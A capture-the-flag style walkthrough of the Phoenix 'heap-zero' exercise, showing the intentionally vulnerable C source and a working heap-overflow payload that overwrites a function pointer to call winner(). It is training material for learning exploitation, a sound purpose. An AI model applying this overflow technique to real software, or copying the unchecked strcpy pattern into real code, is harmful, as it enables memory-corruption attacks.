phoenix - heap 0

3 minute read

Lets list our files using ls -la,

user@phoenix-amd64:~$ cp /opt/phoenix/amd64/heap-zero .
user@phoenix-amd64:~$ ls -la
total 44
drwxr-xr-x 2 user user  4096 Jun 16 12:12 .
drwxr-xr-x 3 root root  4096 Jan 13  2019 ..
-rw-r--r-- 1 user user   220 Jan 13  2019 .bash_logout
-rw-r--r-- 1 user user  3526 Jan 13  2019 .bashrc
-rw-r--r-- 1 user user   675 Jan 13  2019 .profile
-rwxr-xr-x 1 user user 21680 Jun 16 12:12 heap-zero

Lets analyse the file type of our binary using file command,

user@phoenix-amd64:~$ file heap-zero
heap-zero: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/x86_64-linux-musl/lib/ld-musl-x86_64.so.1, not stripped

This is a not stripped binary, so we can read it

Lets try running it,

user@phoenix-amd64:~$ ./heap-zero
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
Please specify an argument to copy :-)
user@phoenix-amd64:~$ ./heap-zero monish
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x400ace
level has not been passed - function pointer has not been overwritten

It is getting its input from argv and it expects us to overwrite the function pointer

Lets view the source code of this binary for proper understanding,

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

struct data {
  char name[64];
};

struct fp {
  void (*fp)();
  char __pad[64 - sizeof(unsigned long)];
};

void winner() {
  printf("Congratulations, you have passed this level\n");
}

void nowinner() {
  printf(
      "level has not been passed - function pointer has not been "
      "overwritten\n");
}

int main(int argc, char **argv) {
  struct data *d;
  struct fp *f;

  printf("%s\n", BANNER);

  if (argc < 2) {
    printf("Please specify an argument to copy :-)\n");
    exit(1);
  }

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  strcpy(d->name, argv[1]);

  printf("data is at %p, fp is at %p, will be calling %p\n", d, f, f->fp);
  fflush(stdout);

  f->fp();

  return 0;
}

Here there are two relevant functions winner() and nowinner(),

And variables from the struct are allocated dynamically,

struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;

Here f->fp is pointing to nowinner()

To execute this program successfully, we have to overwrite it with winner() function

Similar like stack, d and f are allocated near by near in heap

struct data {
  char name[64];
};

struct fp {
  void (*fp)();
  char __pad[64 - sizeof(unsigned long)];
};

From this we can say d has a size of 64 bytes

strcpy(d->name, argv[1]);

Here strcpy() is used to store data in d->name which is perfect to cause a overflow

Taking a look at the addresses for our functions in 64 bit,

user@phoenix-amd64:~$ nm heap-zero  | grep winner
0000000000400ace T nowinner
0000000000400abd T winner

These addresses have \x0a (badchar), so lets try it on 32 bit

user@phoenix-amd64:~$ file heap-zero
heap-zero: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1, not stripped

Now lets check the addresses of our functions,

user@phoenix-amd64:~$ nm heap-zero  | grep winner
0804884e T nowinner
08048835 T winner

Lets run it,

user@phoenix-amd64:~$ ./heap-zero AAAAAAAAAAAAA
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x804884e
level has not been passed - function pointer has not been overwritten

0x804884e is the address of nowinner()

We have to overwrite it with the address of winner()

Given data is at 0xf7e69008, fp is at 0xf7e69050

Distance between these two,

>>> print(0xf7e69050-0xf7e69008)
72

So if we pass 72 bytes of junk into data, we can enter fp

Lets try it,

user@phoenix-amd64:~$ ./heap-zero $(python -c "print('A'*72+'B'*4)")
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x42424242
Segmentation fault

As you can see here, we overwrote the fp with BBBB

Now lets pass the address of winner(),

user@phoenix-amd64:~$ ./heap-zero $(python -c "print('A'*72+'\x35\x88\x04\x08')")
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level

Done! We have completed “heap-zero” challenge